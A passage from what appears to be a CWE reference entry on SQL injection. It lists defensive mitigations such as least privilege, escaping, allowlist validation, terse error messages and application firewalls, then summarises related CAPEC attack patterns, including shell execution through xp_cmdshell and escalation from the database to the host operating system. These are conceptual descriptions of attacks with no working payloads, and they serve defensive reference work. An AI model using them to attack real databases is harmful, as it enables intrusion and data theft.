- Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-28
Strategy: Output Encoding
- While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
- Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
- When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-109: Object Relational Mapping Injection
An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
CAPEC-110: SQL Injection through SOAP Parameter Tampering
An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
CAPEC-470: Expanding Control over the Operating System from the Database
An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
CAPEC-66: SQL Injection
This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.
CAPEC-7: Blind SQL Injection
Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.